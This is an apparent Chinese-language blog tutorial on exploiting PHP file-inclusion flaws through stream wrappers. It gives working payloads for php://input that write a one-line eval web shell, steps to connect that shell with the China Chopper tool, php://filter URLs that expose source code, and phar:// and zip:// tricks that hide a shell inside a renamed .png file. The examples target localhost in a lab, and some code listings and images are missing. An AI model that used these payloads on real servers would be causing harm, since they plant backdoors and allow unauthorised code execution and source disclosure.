Php偽協議 入侵合約

託帕發表於2018-08-07

Whois偽協議?

       PHP 帶有很多內建 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的檔案系統函式。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。

        有兩個比較重要的配置在php.ini中,allow_url_fopen 和allow_url_include會影響到fopen等等和include等等函式對於偽協議的 支援,而allow_url_include依賴allow_url_fopen,所以allow_url_fopen不 開啟的話,allow_url_include也是無法使用的。 不說沒用的 今天只研究php://

Php偽協議知多少

file:// 訪問本地檔案系統

http:// 訪問 HTTP(s) 網址

ftp:// 訪問 FTP(s) URLs

php:// 訪問各個輸入/輸出流(I/O streams)

zlib:// 壓縮流 data:// 資料(RFC 2397)

glob:// 查詢匹配的檔案路徑模式

phar:// PHP 歸檔

sh2:// Ssecure Shell 2

rar:// RAR

ogg:// 音訊流 expect:// 處理互動式的流

 

 

今天學習 主要學習php://input 其次zip:// data:// phar://

php://input

php://filter

 

方法一:

php://input (讀取POST資料)

1.新建一個a.php 程式碼如下

2.訪問一下127.0.0.1/a.php 返回空白

3.提交post 資料 檢視結果~

(火狐外掛)

php://input(寫入木馬)

不難發現 我們提交什麼資料 他返回什麼資料 假如我們提交 前面的一句話木馬是不是 可以寫入一句話木馬取得shell? 試一試,建立一個新的a.php 內容如下

Post 提交資料為

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

上菜刀!

 

方法二:

實驗步驟

1、訪問http://127.0.0.1/FI/PHP_FI.php?filename=LFI.txt,網頁顯示是檔案包含漏洞。

2、雙擊桌面的【實驗工具】資料夾,找到【burpsuite】,雙擊開啟。

給火狐瀏覽器設定代理

3、瀏覽器訪問http://127.0.0.1/FI/PHP_FI.php?filename=php://input,burpsuite自動抓包。

在burpsuite中的【Proxy】—【Intercept】—【Raw】下的文字框末提交資料<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

burpsuite中點選【Forward】。瀏覽器變為下圖。

4、雙擊桌面的【實驗工具】資料夾,開啟【中國菜刀】資料夾,找到【中國菜刀.exe】雙擊開啟。

空白處右擊【新增】

在地址後的文字框新增網址http://127.0.0.1/FI/shell.php,地址框後的密碼文字框填寫cmd。點選【新增】。

 

 

有人說 啊 沒有菜刀可以提權麼? 這可以告訴你 沒問題 看操作 a.php程式碼不變 Post提交的資料變一下

 

 

 

php://filter

建立檔案(原來有可以忽略)a.php 內容 和 phpinfo.php內容

訪問一下http://127.0.0.1/a.php?sj=php://filter/read/resource=phpinfo.php

http://127.0.0.1/a.php?sj=php://filter/read=convert.base64-encode/resource=phpinfo.php通過php封裝協議讀取當前目錄下的phpinfo.php檔案並進行base64編碼(編碼後,便不會被解析)

 

 

 

Data://

        資料流封裝器,和php://相似都是利用了流的概念,將原本的include的文 件流重定向到了使用者可控制的輸入流中,簡單來說就是執行檔案的包含方 法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

 

Phar://

       用法:?file=phar://壓縮包/內部檔案 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬檔案壓縮後,改為其他任意格式 的檔案都可以正常使用。 步驟: 寫一個一句話木馬檔案shell.php,然後用zip協議壓縮為shell.zip, 然後將字尾改為png等其他格式。

測試程式碼:

開始之前確保你的 phpstudy 版本是 5.39以後的

1.建立shell.php 內容

 

 2.右鍵打包成shell.zip

3.將shell.zip重新命名為shell.png

訪問 127.0.0.1/a.php=phar;//檔名/原檔名

http://127.0.0.1/a.php?sj=phar://shell.png/shell.php

Post 內容為 cmd=phpinfo();

Zip://

 將php版本設定為5.3.0<PHP<5.4

1.使用前面的shell.png

2.訪問http://127.0.0.1/a.php?sj=zip://shell.png%23shell.php

 

 

相關文章